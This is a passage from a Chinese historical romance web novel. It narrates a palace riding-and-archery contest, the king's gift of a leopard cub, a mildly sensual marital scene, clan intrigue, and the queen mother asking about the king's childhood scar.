用马师训她的话就是:“灵性有余,却定性不足,聪明劲儿全用在玩上了。” 江念这人从某些方面来说,很得老天爷宠,学什么一点就通,但是呢,是个光有天赋不下苦功的主儿,甚是贪玩。 不过因她是女儿家,也没人评她玩物丧志或是恃才旷物之类的话。 江念纵着她的白马,开始围着赛场跑圈,在头顶甩起马鞭,经过王帐时,笑看向上首之人,大声道:“大王,我的追风厉不厉害?!” 那白马也跟着“咴儿咴儿——”地叫着。 呼延吉本是笑着,一听“追风”这个名字,嘴角一抽,脑子里闪过江府那只长毛狗。 场中其他人见梁妃甩鞭纵马,一身飒爽之态,也被带动了,朝她高声呼喝。 阿史勒看向场中跑马的女子,轻声笑道:“阿赤,依我看,这场比试谁输谁赢还真不一定。” 罗疏往前一步,眯了眯眼,说道:“都有赢面,有的看了……” 第132章 热得发燥 穿越木障高度不同,难度也不同,最先穿过的是较矮的木栏,接下来的难度会越来越大,不仅仅是木障的高度提升,还有木障之间的距离的缩短。 也就是说中间的缓冲带会变短,人马配合不好,很难腾跃过去。 朵妲儿见江念过了木障,面上闪过一丝惊讶,转瞬又平了下来。 继续往下比试。 后面每一轮都有淘汰,江念就这么过了一轮又一轮,每次众人都以为她不行时,她都险险地跃过。 比试的顺序,朵妲儿第一位,江念最末一位,几场比试下来,朵妲儿同江念中间的距离越来越短,到最后,朵妲儿第一位,江念第三位,中间还有个阿史苓。 朵妲儿脸上再难维持平静,只觉得江念死死咬在她的身后,摆脱不得。 心态不平,就会影响接下来的比试,这是最后一道跃障,木栏高度达到马项之上。 朵妲儿纵马向前,结果马儿在木栏前迟疑不前,失了一次机会不说,还被扣减分数。 场上之人一片嗟叹。 这会儿,朵妲儿面色更加难看,额上开始沁汗,她不能输,打她记事起,她朵妲儿从未输过,一直都是拔尖的那个! 再后面是阿史苓,她干脆直接弃赛,理由很简单,她觉着自己过不了这道坎,这场赛事是朵妲儿同梁妃打擂,她不过是个充数的,没必要夹在中间,她的发辫有些乱了,得赶紧下场理一理。 阿史苓退下,轮到江念。 江念看着前面的木栏,吁出一口气,抚了抚马项,掉转马头,小跑起来,然后迎向木栏,在合适的位置起跳,越过,又是一气呵成,继续小跑,迎向下一道更高的木障,直到最后,也是最高的一道木障。 起跑……腾起……落地…… 场上先是一静,接着开始骚动,有不可思议的,有兴味十足的,也有凑趣奉承的,不过也就是短短的一瞬,接下来就是高声喝彩。 喝彩之声将朵妲儿第二次的成功过栏都遮掩忽略了。 看台之上,阿史勒拿了一粒果子丢到嘴里,笑道:“怎样,我说什么来着,阿赤话说早了,输赢未定。” 朵阿赤鼻子里冷嗤一声:“急什么,后面还有驰射,你也别把话说早了,输赢未定。” 罗疏看了他二人一眼,说道:“你们较什么劲儿。” 阿史勒不语,他虽为五上姓,却一直认为呼延吉绝不会被上姓压制太久,不,如今已有压制不住之势。 五上姓皆有自己的兵马,朵家最甚,朵家的兵马不仅仅是私兵这么简单,好几位镇守关隘的大将皆效力于朵氏,换句话说,朵家可以操控战事走向。 朵家在朝中树大根深,盘根错节,可谓是兵权在握,这样的存在,身为君王的呼延吉怎么可能容得下。 阿史勒似是没听到罗疏的话,转头望向王帐前的呼延吉,暗道,阿史家绝不能在这场大清洗中覆灭,他有预感,接下来会有一场不见血的大动荡。 当下决定,回去需同父亲好好商议一番,阿史家需从漩涡中挣得生机,站对了,就是生,站错了……就是死! 驰射,顾名思义,骑马高速奔驰时射箭,考验精准度。 江念看了一眼箭靶,然后再看一眼台上的呼延吉,无声地摇了摇头。 马术她还能拼一拼,可这射箭……她不行,倒不是准头不好,而是她没那个臂力,就算她瞄得再精准,力度不够,也是无用。 呼延吉迎向狩猎场,抱臂立在那里,面上没什么表情,只是静静地凝着场下,不知在想什么。 朵妲儿纵马到江念身侧,说道:“江姐姐,你这胳膊可拿针线,却拿不得弓箭。” 朵妲儿以为江念听说此话,要么恼怒,要么羞惭,无非就是在这两种情绪间来回,不承想却听江念说了一句:“那我在这里提前给妲儿妹妹道贺了。” 朵妲儿愣了愣,在江念面上端相,只有大方坦然,顿时生出拳头打在棉花上的感觉。 驰射开始,马儿疾驰,江念双腿夹紧马身,空出手来拈箭搭弓,耳边的发丝扫到腮颊上,风是动着,人却是静止一般,听得“咻——”的一声。 第一箭,正中朱红靶心。 马儿继续绕场飞驰,但见女子袖口紧束,衣摆列荡风中,腮骨微紧,颀长的双腿从开叉的衣摆显露。 女人左手拽缰绳,右手挽长弓,临近箭靶时,再次端正身形,三指拈箭搭弓,凝目,射出。 第二箭,依旧正中朱红靶心。 不知不觉中,众人的心绪被她牵动,心底皆为她攒劲。 接连又是几箭射出,共九箭,六箭靶心,两箭内环,一箭次环。 江念还是吃亏在力怠之上,越往后越是力不从心。 轮到朵妲儿,不得不说,朵妲儿这一轮赢得漂亮,九箭连射,八箭钉在靶心,一箭内环。 最后一箭射出,箭还飞在空中,不等箭矢落靶,她已扬鞭拍马绕场。不用监赛人宣读结果,结果显而易见,最后的赢家是朵妲儿。 梁妃是大王之妻,众人犹豫着要不要给朵妲儿喝彩。 正在众人迟疑不定时,王帐前的呼延吉开始拊掌,接着大宫监扬声说道:“朵氏女,飒爽不让须眉,骑射第一,当赏!” 场上这才开始拊掌喝彩。 朵妲儿纵马到王帐前,笑道:“大王说过的话可还作数?” 呼延吉笑了笑:“自然作数,说来,让我应你什么?” 众人看着眼前一幕,不知朵妲儿向君王提何种要求。 朵妲儿仰面看向呼延吉,声音清响:“妲儿想同大王竞驹。”说着扬鞭指向远处,“谁先到达小清溪,就算谁赢,如何?” 狩猎场另一端蜿蜒着一条清溪,距此有些距离。 朵妲儿一语毕,呼延吉步下高台,招了招手,一边的亲卫牵来一匹黝黑的骏马。 呼延吉翻身上马,这便是应了。 在众人的注目下,两人策马往远处疾驰而去。 这下可就有意思了,看向梁妃的眼神便带了不一样的意味…… 朵氏的锦帐同朵家相距不远,侧目中,隐约可观得她父亲面上满意的神色,朵妲儿这一举动又撞到父亲的心坎上。 朵妲儿邀大王竞驹,输赢不重要,重要的是大王应了,这便给了朵家脸,那么刚才君王下朵家脸面的事,可一笔抹过,同时又向在场众人暗示她的不同,极可能是下一任大妃人选,一举两得。 这便是朵妲儿的目的。 朵氏不免想起那日在树下,她问朵妲儿向大王提什么要求,又追问是否让大王立她为大妃,当时朵妲儿不可思议地看向她,如同看一个傻子。 朵妲儿啊,朵妲儿……同你比起来,我这道行当真不及你半分。 朵氏觉着自己像阴沟里的老鼠,手段阴私、下作,而朵妲儿不同,她的抢夺光明正大,让人在她手里吃了亏,却没法说出半句不好,还得闷声忍着。 莱拉从旁看自家主子,想说什么终是忍住了,她总觉着大妃怪怪的,以前她身子虽弱,可心是活的,然而现在好似对什么都没兴趣,只有在喝那苦涩的汤药时,才能从她微蹙的眉间感受到一丝情绪。 王帐中,江念才一坐下,阿星赶紧从盘中拿过一个脆甜的果儿,用小刀片好,端到江念面前。 江念用木签子攫了一块,放到嘴里。 秋月将浸过凉水的帕子递上,江念接过,压了压脸上的燥意。 阿星在江念脸上睃了两眼,愤愤道:“主子怎么这样好性儿,由着那个朵家女扬威,婢子就看不惯她那嚣张样儿,明摆着同您争夺大王的注意。” 江念脸颊通红,心里热得发燥,衣衫贴着后背,黏腻难受,阿星仍在她耳边喋喋。 “她也不看看自己什么身份,不过就是仗着东殿大妃,得以寄居于王庭一些时日,真把自己当个人物,可让她现眼呢!” “慎言。”以前江念觉着阿星性子率真,现下一看,哪是什么率真,完全是不着调,什么话都往外说,心思也要不得,再怎么样,朵妲儿也不是她可以妄议的。 找个时间她得同她说一说,若能改倒还罢,若照旧这个样子……想到此,江念便有些头痛。 阿星撇了撇嘴,没再说什么。 “替我更衣。”江念起身。 秋月同阿星应下,把江念扶到里间,宫人将帷幕拉上。 这会儿已是太阳西平。 帷幕内,秋月用凉水浸湿帕子,拭去江念颈间的汗渍,江念皮肤过于白腻,晒了这么一会儿,脸颊和颈间烘得红红的。 阿星宽去江念身上的衣物,一件一件递于旁边的宫婢,另一宫婢拿出几件整备好的常服,摊摆开。 江念看了眼那件墨绿色的骑装,像腌菜似的团在那里,眼一转,看向面前的几件常服,下巴指向其中一件鹅黄色的轻薄绢衣。 “就这件。” 秋月从托盘内拿起衣衫,及至脚踝的玉色交领广袖长衫,领间微阔,上身后,露出乌金色的小衣,颈下横卧一对好看的玉骨,外面再罩一层鹅黄色的绢纱,以琅玕交缠束腰。 当真是柳腰脉脉,芳容窈窕,一身俏丽天然。 秋月用凉帕在江念颈间拭了拭,担心道:“不知是不是晒伤了,红成这样。” 江念笑了笑:“无事,我这一身皮恢复起来快。” 阿星不知想到什么,扑哧一笑,说道:“才来王庭那会儿比这更严重,养了些时日,就完全好了,真叫人羡慕。” 阿星这话倒叫江念眼中一软,她才来时,阿星和阿月指着她的头发和眼睛,看稀奇似的又是夸又是抚。 出了帷幕,刚一坐下,场中一阵异动。 原来是朵妲儿回了,然而,迟迟不见呼延吉…… 第133章 我喜欢,别脱了 朵妲儿独自一人纵马回到场中,只见她手勒马头,环顾四周,一脸茫然,似是在找什么人。 “怎么回事,大王呢?”阿多图立马上前。 朵妲儿反问道:“大王没回?” 呼延吉飞马在前,她完全追撵不上,后来距离越拉越大,远远见他越过一个土坡,便看不见人了,待她一路追去,到了小清溪仍是不见半个踪影,她以为他先回了,便策马往回。 江念腾得从案后起身,奇怪怎么不见呼延吉,就要出帐问个究竟,却被丹增劝住。 “梁妃安坐,老奴去问询一番。” 江念点头:“宫监速去。” 朵妲儿同君王一道消失在众人眼前,若呼延吉就此出事,那朵妲儿乃至整个朵家,只怕罪责难逃。 不论王室旁系或是其他上姓、世家,皆可以此为由声讨朵家。 阿史勒和罗疏若有所思地睨向朵阿赤,见他面色难看起来。 朵阿赤往朵家帐中望去,见他父亲站起身,面色亦是十分凝重,于是不发一声地快步走到场中。 “大王呢?”朵阿赤问向朵妲儿。 朵妲儿正待要说,远处传来马蹄飞踏之声,众人抬眼望去,正是呼延吉,一人一马回了。 众人立时松下一口气,面色和缓过来,朵妲儿纵马上前迎向呼延吉。 “大王叫人好找,明明跑在前面,怎的回来不见人,妲儿不管,这场比试,大王输给妲儿了。”女子腔调带着委屈。 呼延吉驾坐于马上,低低地看了她一眼,心情不错的“嗯”了一声:“本王认输,你想要什么赏赐,或是看中什么,回王庭后叫内侍司赏你。” 说罢一手勒绳,驱马到王帐的看台下,翻身下马。 朵妲儿跟在后面,见他始终单手控辔,另一手端在怀里,好像有个什么东西。 江念见呼延吉走来,迎了上去,拿帕子替他拭额上的汗:“见不到你的人,刚还让大宫监前去问询……” 呼延吉从怀里掏出一物,说道:“阿姐,你看。” 江念低眼去看,惊愣在那里,一时竟说不出话来。 “这是……” 只见呼延吉怀里好小一团幼兽,身上铜钱大小的黑黄圈纹,细软的毛发,在呼延吉怀里很是凶残地奶叫着。 “小花豹,喜不喜欢?” 他特意找的,知道她喜欢这些带毛的小畜生,便试着搜找,还真让他找着了。 江念有些难言,问道:“给……我的?” “我怕你在王庭无聊,给你找个小东西儿,打发时间,喜不喜欢?” 江念眼睛有些发酸,狠狠地点头,然后伸出手,从呼延吉怀里小心地抱过小豹,轻声道:“它太小了,吃什么呢?” 呼延吉想了想:“豹子的话……吃肉,吃骨头罢。” 江念嗤地一笑:“牙都没长齐呢,怎能吃肉骨头……”想到什么,语调一换,“大王莫不是把母豹给杀了?” “母豹的影都没有,小畜生‘哇,哇’地哑叫着,它不叫我还发现不了它。” 江念这才放心,笑了笑,说道:“给它取个名儿罢。” 呼延吉见她欢喜的模样,就觉着今日值了,接过宫人递上的茶水,连着喝了三杯。 江念双眼亮起,说道:“叫闪电,如何?” 呼延吉差点呛住,心道,一个追风,一个闪电,倒是齐了。 王帐里的情形,场上众人自然看了个清楚,这么一对比,朵家女儿赢得比试就显得无足轻重了。君王这一手真叫朵家上不上,下不下,面子给你朵家了,却叫你得意不起来。 你朵家女想彰显自己特别,却不知,真正的殊待是君王给的,而不是你开口要的。 朵氏在锦帐中看了,笑出声,朵妲儿啊,剁妲儿,你也有今日,再侧头看朵家帐中自己父亲的面容,心里更加畅快了。 呼延吉携江念先行离开,众人恭送,今日狩猎之境况,内侍司等几个司部已有记下,之后便会例行赏赐,不多久,各家家主及子弟,在奴仆环伺中登车依次序离场。 最后由禁军清场。 江念同呼延吉回王庭乘马车,没再坐金辇,回去的路上,天已暗下来。 白日的燥热渐渐褪去,纱帘飘起,摩挲出风的形状,拂在脸上很舒柔。 天边红灰灰的霞色,像是一层被烘烤了一天凉下来的金沙粒。 江念透过车窗往外看了一眼,街上亮起昏黄的灯火,各家酒肆开始进客,同白日不一样的热闹。 车里暗暗的,也很安静,只有车轮辘辘的声音。 江念放于膝上的手在幽暗中被呼延吉牵起,然后交握在一起,她将头搁在他的肩膀上。 “吉儿……” 呼延吉在暗中“唔”了一声。 寂寂的一刹那后,安静无限延长,两人皆是不语,就这么默然依坐着。 回了西殿,江念先沐洗过,走进寝屋,然后吩咐阿星将小豹子抱下去,喂些羊奶,算是给她找了一件不用伺候人的事,阿星欢欢喜喜地抱着小豹子下去了。 平日,江念静的时候比动的时候多,今天比试骑射,真是有些吃不消,胳膊和腿使力过度,只剩下绵软。 “你今日也累了,下去歇息罢,这里不用伺候。”江念对秋月说道。 秋月应下去了。 待秋月走后,江念懒懒地枕在桌上,将揎起的藕色衣袖往下拉了拉,盖住小臂,忽然眼睛定在那截衣袖上,怔怔地看了一会儿,站起身,走向大衣柜,打开柜门。 呼延吉沐洗毕,散着一头湿漉漉的发走进寝屋,因发丝湿着,比原本的颜色深了一个度,可那一双眸色却又洗得更加清浅剔透。 他才一进屋,就怔在那里,看着对面的江念,不解道:“你不是在我前面沐过身么?” 女人“嗯”着应了一声。 “那你这是……” 只见江念换下轻薄的藕色寝衣长衫,穿上早晨看中的那件猩红滚金边的骑装,一头半湿半干的发用玉簪子随意束起。 上衣是换了,可下面仍穿着一件宽大的束脚白绫裤儿,赤脚踩在软软的毡毯上,却也有种别样的韵味。 江念睨了一眼呼延吉,白日堵在胸口的气非得说出来,不然今晚睡不着。 她是长他几岁,却也不是穿不得这鲜嫩的颜色,怎么就不合适了?怎么就不能穿了?她偏要穿。 江念走到呼延吉面前,问道:“大王,妾身穿这个颜色的骑装不好看么?” “好看。” “哪里好看?”她得问个明白,如此才好辨别他言语中是真心还是敷衍。 呼延吉低低地看向她,微笑道:“哪里都好看。” 这话一听就是敷衍,江念哪里肯依,掉过头,走到矮案边歪坐下,肘弯撑在桌上。 呼延吉不明所以,这是唱得哪一出,遂坐到她的身边,轻轻地捏了捏她的脚踝,问道:“你问我穿这骑装好不好看,我说好看,怎么就恼了?” “若真好看,为何晨间那会儿不让我穿,说这个颜色不合适。”江念把脸别向另一边。 呼延吉并未将此事放在心上,她若不提,他早就忘了,所以当她把那话重拎出来,他还回想了一会儿,才给出反应。 “那件翠色的也好看,怎么就非要穿这件红色骑装,红色的这件确实不太合适。” 江念一听更是委屈,问道:“是不是因为这颜色太过鲜嫩,妾身穿不得?” 呼延吉怔了怔,摇头笑道:“原来是因为这个。”说着站起身,朝她伸出手,江念迟疑了一会儿,将手搭上去,站了起来,他牵着她走到床榻边,坐下,说道,“我说这个颜色不合适,并非不合适你,而是不适合今日的场合。” “怎么不适合今日的场合?我见别家女子也有穿红色。” “这颜色太打眼了,狩猎意外太多,不怕一万就怕万一,穿翠色或是青色会好些。” 江念听说,这才明白,原是他担心自己,替她考虑周全,一时间有些窘迫地无言。 “倒是我多心了,容我把这身衣裳换下。” 呼延吉拉住她,将她带回床榻,心里有些感动,明白她心里的在意,以及执着于那件猩红骑装的原因。 她在迎合他,可能连她自己都没察觉到,这份迎合中还有一丝舍去自我地讨好。 他伸手到她的脑后,除去玉簪,一头未干透的发丝散开,篷出湿湿的香气。 呼延吉站起身,宽去软绸长衫,露出精赤的上身,低睨着眼,挑起江念的下颌,指在她丰软的唇上抚了抚。 “阿姐,你用不着那样小意讨好,你怎么样我都是喜欢的。” 江念仰着脸,看着他,爱得深刻时,便会不知不觉变得不像自己,她又是何时走到了这一步。 “我去换下它。”江念喃喃道。 呼延吉轻笑,俯下身:“你不就是穿给我看的么,我喜欢,别脱了,白天我见你穿那骑装一颠一颠的……一会儿你就穿着它,在上面,咱们来一次,好不好?” 江念面色通红,红得要滴血,有些慌乱地想要逃离,却被呼延吉笑着拦腰抱回。 “羞怎的,本王给你当马儿骑,谁能有这个待遇?” “你再不好好说话,我可恼了。”江念嗔道。 呼延吉低下眼,刚才挣抱中,使得她红色滚金边的衣领微微散阔,兴是换衣太过仓促,猩红骑装下竟未着衬衣,只有一件短小的抹胸。 这可不是要命嘛…… 第134章 骑装入帐 呼延吉将纱帐打下,把江念抱到榻间,手往她猩红的骑装里探。 虽说二人早已亲密无间,温存之时也如糖拌蜜,多半时候是呼延吉迁就她,每每行事之时,还需得屋内暗着,不能太明,否则江念就不情不愿。 可呼延吉偏就喜欢屋子里亮堂堂,帐子里明亮亮,他就想看她,不愿错过她面上的任何表情,还有身上细微的反应。 在这件事上,二人最后各退一步,也不暗着,但也不亮着,点几根细烛,黄暗暗的光撑满不了一屋,却能让帐间朦胧。 对于枕上风月,江念每每都需呼延吉挑弄一番,才得以舒展,所以当呼延吉让她穿着骑装入帐,她是万分不愿,在她看来,这番作态很不像样,有些难言的羞耻,像是把她正正经经的一面给扒了下来。 直到现在江念连那声“夫君”都叫不出口,一让她叫,她就卡在嗓子眼,更何况让她穿着骑装,乘于呼延吉之上。 女人的衣裳已经散了,仍一手死死地拽着衣襟处,不让呼延吉更进一步。 “我不惯这样……”江念细喘道。 呼延吉也燥的一身热,又抵不住她软声求告,怕她真恼,再看她那一副誓死不屈的模样,他都觉着自己像个侵占良家女的强盗。 “好,好,我不迫你,那你去把骑装换了,咱们还同先前那样?” 江念便不再说了,从床上坐起,出了床帐,背着身,宽去猩红骑装。 呼延吉靠坐在床头,侧过脸,一双眼透过纱帐,看向灯下的人儿,撇了撇嘴,心道,还不是被我看得清清楚楚。 待江念换好软绢衣,踢了鞋,躺回被中,呼延吉翻到她上面,探手到她裤腰处,抽去系带,问道:“这样可以?” 江念点了点头。 呼延吉闷笑出声,却也无法。 他念她白日累着了,也不久折腾,只让她侧着身,从后揽着她,让她仰靠着他的肩头,露出优美的纤颈,男人彪腹轻行缓荡……他在她光洁微湿的后背,啃吮出几朵红痕,是春雨后绽放的红梅。 事毕,江念已然睡去,呼延吉却睡不着,心想着,两人已是夫妻,她在这种事上一直放不开可不行,得想想办法…… 话往回叙…… 白日狩猎场,呼延吉走后,朵妲儿去了朵家锦帐中。 “父亲。”这是头一次,朵妲儿在他父亲面前抬不起头。 谁都没料到,呼延吉今日会把箭头对准朵阿赤,这无疑在打朵家的脸,朵妲儿事后让呼延吉同她竞驹,实是想借此挽回朵家的颜面,呼延吉没有任何迟疑地应下了,算是给了朵家面子。 同时,朵妲儿又向在场之人昭示,她同君王关系的不同,一来她已进入王庭,在圣太后身边侍候,光这一点,就是近水楼台,再在众人面前同呼延吉竞驹,更是让所有人看清,大妃之位的人选,除了她不会有别人。 谁承想,呼延吉为搏美人儿一笑,特意逮了只小豹回来,当时,二人在王帐的情景,所有人都看在眼里,他们大王眼里除了那梁女,根本没别人。 一个转眼,朵妲儿的举动就变成了笑话。 朵尔罕两眼沉沉,下颌处的短须已是花白,男人面上喜怒太淡,看不出精神好坏。 “能做的你已做了,其他的,无须你管。”朵尔罕说道。 朵妲儿心里一紧,担心让父亲失望,担心自己同朵梵儿一样,成为弃子,落得一个不闻不问,不管死活的下场,于是说道:“那之后……” 很小的时候,她就知道自己的优处在哪里,生了一张乖觉的脸,长了一颗玲珑心,会讨巧,会哄人开心,在朵家,上上下下没人不喜欢她。 对她而言,人们对她的喜欢和称赞,是她最得意的成果。 她会弯着眉眼,扬着唇角,用最沉冷的心去调动旁的人情绪,她很满意自己的表演,像一个极为冷情的看客,坐在幽暗深处。 她同朵梵儿不同,朵梵儿这人太过感情用事,这是她最看不上的,不过,她有些怵朵梵儿,总觉着她这个阿姐有些疯性。 朵尔罕自然看出女儿的想法,说道:“你照旧回王庭,剩下的事无须管,你只需将圣太后哄好,偶尔去大王的西殿走动走动便可,用不了多久,他就会册立你为大妃。” 朵妲儿有些不明白,想多问几句,但也知道,该她问的她可以问,不该问的,问了也是白问,便不再言语。 只是……她想不通,今日呼延吉对梁女的态度,她也看在眼里,他怎么可能主动册她为大妃。 不过,父亲既然如此说了,那一定有万全之策,接下来,她要做的就是如以往那样,继续在圣太后跟前侍候。 …… 之后的一段时日,江念无事之时,要么去制香堂,要么在殿院里逗弄小豹。 夷越没有四季,大多时候天气温和,也有一季较为炎热,冷的时候少,从她被呼延吉救回起始,中间又流落徽城几个月,如此一算,不知不觉中,她在这片土地生活快一年了。 江念将小豹交给阿星照顾,阿星也终于找到可做的事情。 其间,朵妲儿来过王殿几次,坐一会儿,两人便有一句无一句的搭话,其实也没什么可说的,不过是打发时间。 倒是朵氏一次也没来过西殿,平时江念去孔雀苑或是内苑等一些园中闲步,也很少碰见她。 虽说呼延吉免她去祥云殿请安,可说到底,高太后是呼延吉生母,又是夷越国最尊贵的女人,她若不去问安,被有心之人传扬出去,不仅她的名声不好,呼延吉也会被人诟病。 是以,江念每日晨间仍会去祥云殿请安,高太后没再为难她什么。 江念也有自知之明,通常高太后同朵妲儿闲说趣话时,她在一边不插嘴,只安静地坐着,若是问到她,才回应几句,一个人对另一个人没好印象,话多了不会讨人喜欢,只会讨人嫌。 这日,江念照旧坐在下首,朵妲儿侍在高太后身侧逗趣。 “妲儿,你先下去。”高氏说道。 朵妲儿怔了怔,看向坐在下首的江念,睛眸微霎,转而一笑,施过礼,退下了。 江念也跟着站了起来,恭声道:“太后可是乏了?容妾身告退。” “你留下,陪我去后园走走。” 江念先是一怔,垂首应“是”,忙上前,随在高太后身侧,侍扶着她往后园缓缓行去。 两人在前走着,身后随了一众宫人,园子里树植森茂,投下大片大片的阴凉地,隐于树间的蝉,“嗞呦——嗞呦——”地叫着,一阵接一阵。 余光中江念见高氏颊上有些泛红,出言道:“这个天儿还是有些热,太后不若到前面的凉亭歇歇脚,喝点解渴的饮子压压燥气?” 高太后点点头,抽出帕子拭了拭额上的汗,待一众人走到凉亭,江念搀扶着高太后坐下。 因夷越气候的原因,这边的人有些喜喝热茶,有些则喜饮冷茶。 高氏虽说有些年纪,却喜喝冷泡茶。 江念从宫人手里接过凉水壶,将水沏入放有花茶的盏里,只略略将花茶叶子覆盖住,浸了一会儿,再用拈子从冰匣取出三粒块冰,堆在花茶上,待其慢慢化开,再双手呈到太后跟前。 冷茶同热茶不同,喝得就是一个鲜爽。 一边的金掌事见了,暗暗点头,经过这么些天,她也看出来了,这位梁妃在太后面前话不多,行止内敛,但当你问向她时,她总能答上话,且说到人的心坎上,这就很难得。 妲姑呢,好是好,有她在身边,太后自然是开心的,就是有些太刻意了,好似生生把人的笑拉出来遛一圈,遛完后,也不知在乐什么,只剩下无味。 而且,她发现太后比从前更容易疲乏,像是一天消耗了三五日的情绪。 要她说,她更喜欢这位梁妃,相处起来舒服平和。 高氏朝江念脸上看了看,见她热得腮颊发红,鬓发微湿,却不说什么,只是侍在她的身侧。 “不必站着,坐下罢。” “承太后体恤,妾未觉倦乏,可侍奉左右。”江念说道。 高太后拿下巴指了指对面:“去坐下,免得那小子又怨我苛待你。” 江念谢过,这才走到高氏的斜对面虚坐下,宫人给她上了茶水。 “你们退下。”高氏吩咐道。 金掌事应是,带着宫人们退到凉亭外应候。 高氏先看了一眼对面的江念,在她面上望了两眼,然后侧过头,看向亭外的湖池,沉沉地叹了一息。 “叫你来,是有一件事情问你。” 江念慢慢抬眼回看向高氏,说道:“不知太后所问何事?” “吉儿他……肩窝处的伤是怎么回事……” 第135章 他在梁国过得不好 凉亭的风带着烘烘的热气,江念看着眼前琉璃盏上的雾珠,一滴滴沿着杯壁向下滚落。 她听到对面高氏的声音再次响起。 “你同他自小生活在一处,一定知道,是不是?” 江念纤长的眼睫微微一颤,并不说话。 高氏扭过头,看向江念,知道她不愿说,也不着急再问,小儿子肩窝处的伤,也是她无意间看见的。 他因常常出征在外,回王庭时,身上多少会带些战伤,但这对他来说不算什么,年轻人身体强健,恢复起来快,休养十天半个月就好了,她从不担心。 直到有一次…… 那个时候是深夜,四更天,她早已就寝,宫人唤醒她,说丹增在殿外求见。 像她这样年纪大的人,不怕白天有事,就怕晚上被叫起。 丹增是小儿子身边的随侍,是不是西殿出了什么事情,不然丹增怎会这个时候前来,骤然间,一颗心突突跳得两眼发花,扶着宫婢的双手颤抖不止。 见了丹增才知,小儿子征战归来,头一日还好好的,谁知今夜突然高烧起来。 “宣宫医了没有?”高氏问道。 “罗宫医在旁侍候,又另传了几名宫医,俱在西殿随时应候。”丹增答道,大王高烧昏迷不醒,此等大事,他做不了主,只能往祥云殿上报圣太后。 高氏一刻不敢耽误,蓬着头,披着衣,急急往西殿赶去,到了西殿,下了乘辇,在左右的搀扶下入到寝屋。 众人见了高太后,忙将榻前空出来。 高氏近到床前,看着榻上的小儿子,双颊通红,唇色亦是干红,问向一边的宫医:“现在病况如何?有无性命之忧?” “回禀太后,若今夜能退烧,便无虞,若今夜烧退不下来……”罗布不敢再往下说。 高氏自然明白其意,看向床案上搁着的汤碗,碗底残有黄褐色药渣,料想当下只能静待高烧退去。 而她能做的,就是静守在儿子旁边,若他生,她便退回祥云殿,若他亡,这王庭还有她在…… 偌大的王殿立了不少人,有西殿的宫侍,亦有祥云殿的宫人,还有随时应候的宫医们,光线通明的殿内却寂静无声,唯有极静极静的时候,高烛燃烧爆出的“噼啪——”声。 在众人看来,高太后的面色过于平静,没有一个母亲对待亲子病危之时的惊惶和焦急,仿佛还有沉静可贾,只能从她那头蓬乱掺白的发丝和不齐整的衣领,看出她曾乱过。 这时,床榻上的人传来闷哼,高氏往榻间看去,拿手盖在小儿子的头上试温,还在烧,又听他嘴里无意识地说着什么,也听不太清,随后他烦躁得扯下身上的衾被。 高氏只好再次替他盖上,也就是这个空当,她看到他未着里衣的上身,肩窝处凸起的疤痕,圈状,无法形容,但可猜出当时这里伤得很深。 落后,她让宫医看了,宫医说从疤痕看,不是新近的伤,是儿时有的。 其实,呼延吉在梁为质时,倒是时常和他兄长呼延成通信,信中自然是拣好的说,不过就算呼延成知道他过得不好,也不会将不好的一面告诉他们的母亲,高氏。 而高氏呢,她真就不知道呼延吉在异国的境况么?不是不知道。 高氏怎会不知呼延吉在梁为质会遭受什么,只是她不愿去面对,不愿去承认,有些自欺欺人的意味。 直到那日,两人因为高家的事争论,他站在她的面前,亲口告诉她,他在梁国过得不好,不,不是不好,是很惨。 从那天后,高氏心中郁结,不能坦然,江念来给她问安,她多次想开口问问她,呼延吉在梁国过得怎么样,有没有被欺负。 还有,他肩窝处的伤……是怎么回事…… “他告诉我,他在梁国多亏有你照顾。”高太后看向江念。 “妾身并没做什么,那个时候妾身玩性也大,大王也好顽,所以,一有好吃的、好玩的,妾就会叫上他。”江念笑了笑,又道,“与其说我照顾他,不如说他照顾我。” 高氏来了兴趣,说道:“怎么说?” 江念不知想到什么,抿嘴笑了会儿,说道:“从前妾在梁国,门户相当的贵女们并不大愿意同妾身走得近,妾虽得家中人爱护,却没个相伴说话之人,后来,偶然间遇上了王,那个时候他年纪不大,几岁的小儿,也没什么可避的,慢慢的,来往就多了。” “还有呢?”高氏脸上带了一丝笑意,又问。 江念见高氏好似很有兴致,便把呼延吉儿时怎样被人欺负,然后他又怎么报复回去,讲到他如何整治兵部家的吴大郎,先是给那马儿喂泻药,后又在马鞍上附胶,使吴大郎不能下马,秽物沾衣,满街恶秽熏天。 听到这里,高太后再也忍不住笑起来,守在凉亭外的宫人们很是吃惊,太后同梁妃说笑? 江念断续说了些呼延吉在梁时的生活,说到后面,高太后不再只是旁听,会打断她的话,问一些有关呼延吉更深、更细的情况。 江念从前爱听戏、爱听书,自然也很会说故事,她会把呼延吉受欺辱的过程,轻淡化,然后将他复仇的快意放大,高太后听了如何不欢喜,笑得眼睛都没了缝。 呼延成在世时,没同高氏说自己阿弟在夷越的苦难,呼延吉归家后,亦没同高太后细说自己的酸惨,她更不可能在高氏面前述说他不堪的过往。 是以,她只挑了些不痛不痒的事哄高氏开心。 高氏是高家出来的,到她这个年纪,许多事不过是睁一只眼闭一只眼,装糊涂,并非真糊涂。 她当然看出了江念的用意,并不责怪她,但也不会就此被糊弄。 “梁妃,说了一圈,还是说回来罢,吉儿肩窝处的伤是怎么来的?”高氏端起桌上的花茶,呷了一口,嘴角虽有笑纹,眼底的笑已完全退去。 这个话,江念不能说,所以就算高氏再次发问,她仍默然不语,然而,江念越是这样,高氏越会弄清楚。 “我知道你的顾虑,就算你不说,我也会派人去查,我知他那师傅回了夷越,想找也找得到,只是事隔这些年,查出来的东西,未必是真,也许同实情相隔甚远,如此一来,岂不是更不好,待我再去问吉儿,又是一番不平静,不如你现下告诉我,我听过也就听过了,只捺在心里不说。” 江念思忖着,当年那事出了后,呼延成从夷越遣人赴梁护呼延吉周全,同时训练他的身手。 呼延吉的师傅是知情此事的,而他的这位师傅就在夷越,正如高氏所说,她若想探查,不难…… 正在江念迟疑不定时,高氏又说了句:“不论亲与不亲,我总归是他的母亲,不要瞒我。” 江念轻叹一息,微微启唇,说道:“那一次,他差点丧命……” 那一年,呼延吉来梁国不到一年,应是他被她救下之后的半年内,大概在那个时间里。 呼延成给他弟弟指派的奴仆还未抵达夷越。 皇帝给呼延吉在城中赐有一座府邸,另给他配了奴仆,说是奴仆,实是看管和监视,且因他异样的容貌,异国人的身份,再加上他年纪甚小,对他的照看自然也就不上心了。 那个时候,他同她并不相熟。 